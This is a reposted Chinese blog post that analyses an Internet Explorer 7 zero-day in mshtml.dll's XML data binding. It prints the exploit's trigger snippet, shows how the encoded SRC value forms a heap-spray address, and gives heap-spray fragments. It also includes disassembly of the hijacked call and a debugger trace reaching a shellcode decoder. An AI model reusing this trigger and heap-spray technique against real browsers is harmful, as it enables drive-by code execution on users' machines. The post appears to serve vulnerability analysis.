轉載:天天向上網
http://www.52harry.com/network/2011-12-13/824.html
昨天不小心看到knownsec安全團隊發的文章,所以就想看看到底是怎麼造成的。
這兩天這個IE7的0day挺熱的,我也湊湊熱鬧,說實話,不怎麼會javascript,所以分析也挺費勁的,但是大體知道是個怎麼回事觸發這個漏洞的了
0day代碼片斷
if(wxp||w2k3)document.write('<XML ID=I><X><C><![CDATA[<image SRC=http://rਊr.book.com src=http://www.google.com]]><![CDATA[>]]></C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>');
關鍵觸發是由於這個Image SRC的字段的數據造成的
http://rਊr.book.com
mshtml.dll會對這個SRC作解析
r把十進制的114轉成0x0072
ਊ把十進制的2570轉成0x0a0a
剛好它們拼在一起就是一個可利用的堆地址
0x0a0a0072,通過heap spray,分配大量的內存
可使shellcode填充到這個地址空間去,所以我們可以修改這個值來構造我們
的地址,知道下面的
用意了吧,呵呵
var retVal=unescape("%u0a0a%u0a0a");
aaablk=(0x0a0a0a0a-0x100000)/heapBlockSize;
它是怎麼進入到0x0a0a0072這個地址的了,由於
重用了一個釋放了的對象的造成可以執行我們自已構造的數據,具體代碼如下
mshtml.dll CXfer::TransferFromSrc(void)
.text:461E3D18 public: long __thiscall CXfer::TransferFromSrc(void) proc near
.text:461E3D18 ; CODE XREF: CXfer::ColumnsChanged(ulong,ulong * const)+33 p
.text:461E3D18 ; CDataBindingEvents::TransferFromSrc(CElement *,long)+24 p ...
.text:461E3D18
.text:461E3D18 pvarg = VARIANTARG ptr -18h
.text:461E3D18 var_8 = dword ptr -8
.text:461E3D18 var_4 = dword ptr -4
.text:461E3D18
.text:461E3D18 mov edi, edi
.text:461E3D1A push ebp
.text:461E3D1B mov ebp, esp
.text:461E3D1D sub esp, 18h
.text:461E3D20 push ebx
.text:461E3D21 push esi
.text:461E3D22 mov esi, ecx
.text:461E3D24 xor ebx, ebx
.text:461E3D26 test byte ptr [esi+1Ch], 9
.text:461E3D2A jnz loc_461E3E2E
.text:461E3D30 mov eax, [esi] //eax==0x0a0a0072
.text:461E3D32 cmp eax, ebx
.text:461E3D34 jz loc_461E3E29
.text:461E3D3A cmp [esi+4], ebx
.text:461E3D3D jz loc_461E3E29
.text:461E3D43 cmp [esi+8], ebx
.text:461E3D46 jz loc_461E3E29
.text:461E3D4C mov ecx, [eax] //可能是eax==0x0a0a0a0a
.text:461E3D4E push edi
.text:461E3D4F push eax
.text:461E3D50 call dword ptr [ecx+84h] //call 0x0a0a0aae
.text:461E3D56 mov eax, [esi+1Ch]
.text:461E3D59 mov edi, eax
.text:461E3D5B shr edi, 1
call 0x0a0a0aae會執行如下指令,一直執行直到執行到shellcode處
0A2BF9B6 0A0A or cl, byte ptr [edx]
0A2BF9B8 0A0A or cl, byte ptr [edx]
0A2BF9BA 0A0A or cl, byte ptr [edx]
0A2BF9BC 0A0A or cl, byte ptr [edx]
0A2BF9BE 0A0A or cl, byte ptr [edx]
0A2BF9C0 0A0A or cl, byte ptr [edx]
0A2BF9C2 0A0A or cl, byte ptr [edx]
0A2BF9C4 0A0A or cl, byte ptr [edx]
0A2BF9C6 0A0A or cl, byte ptr [edx]
0A2BF9C8 0A0A or cl, byte ptr [edx]
0A2BF9CA 0A0A or cl, byte ptr [edx]
0A2BF9CC 0A0A or cl, byte ptr [edx]
0A2BF9CE 0A0A or cl, byte ptr [edx]
0A2BF9D0 0A0A or cl, byte ptr [edx]
0A2BF9D2 0A0A or cl, byte ptr [edx]
0A2BF9D4 0A0A or cl, byte ptr [edx]
0A2BF9D6 0A0A or cl, byte ptr [edx]
0A2BF9D8 0A0A or cl, byte ptr [edx]
0A2BF9DA 0A0A or cl, byte ptr [edx]
0A2BF9DC 0A0A or cl, byte ptr [edx]
0A2BF9DE 0A0A or cl, byte ptr [edx]
0A2BF9E0 0A0A or cl, byte ptr [edx]
0A2BF9E2 0A0A or cl, byte ptr [edx]
0A2BF9E4 0A0A or cl, byte ptr [edx]
0A2BF9E6 0A0A or cl, byte ptr [edx]
0A2BF9E8 0A0A or cl, byte ptr [edx]
0A2BF9EA 90 nop //shellcode
0A2BF9EB 90 nop
0A2BF9EC 25 00750090 and eax, 90007500
0A2BF9F1 90 nop
0A2BF9F2 90 nop
0A2BF9F3 90 nop
0A2BF9F4 D9E1 fabs
0A2BF9F6 D93424 fstenv (28-byte) ptr [esp]
0A2BF9F9 58 pop eax
0A2BF9FA 58 pop eax
0A2BF9FB 58 pop eax
0A2BF9FC 58 pop eax
0A2BF9FD 33DB xor ebx, ebx
0A2BF9FF B3 1C mov bl, 1C
0A2BFA01 03C3 add eax, ebx
0A2BFA03 31C9 xor ecx, ecx
0A2BFA05 66:81E9 65FA sub cx, 0FA65
0A2BFA0A 8030 21 xor byte ptr [eax], 21
0A2BFA0D 40 inc eax
0A2BFA0E ^ E2 FA loopd short 0A2BFA0A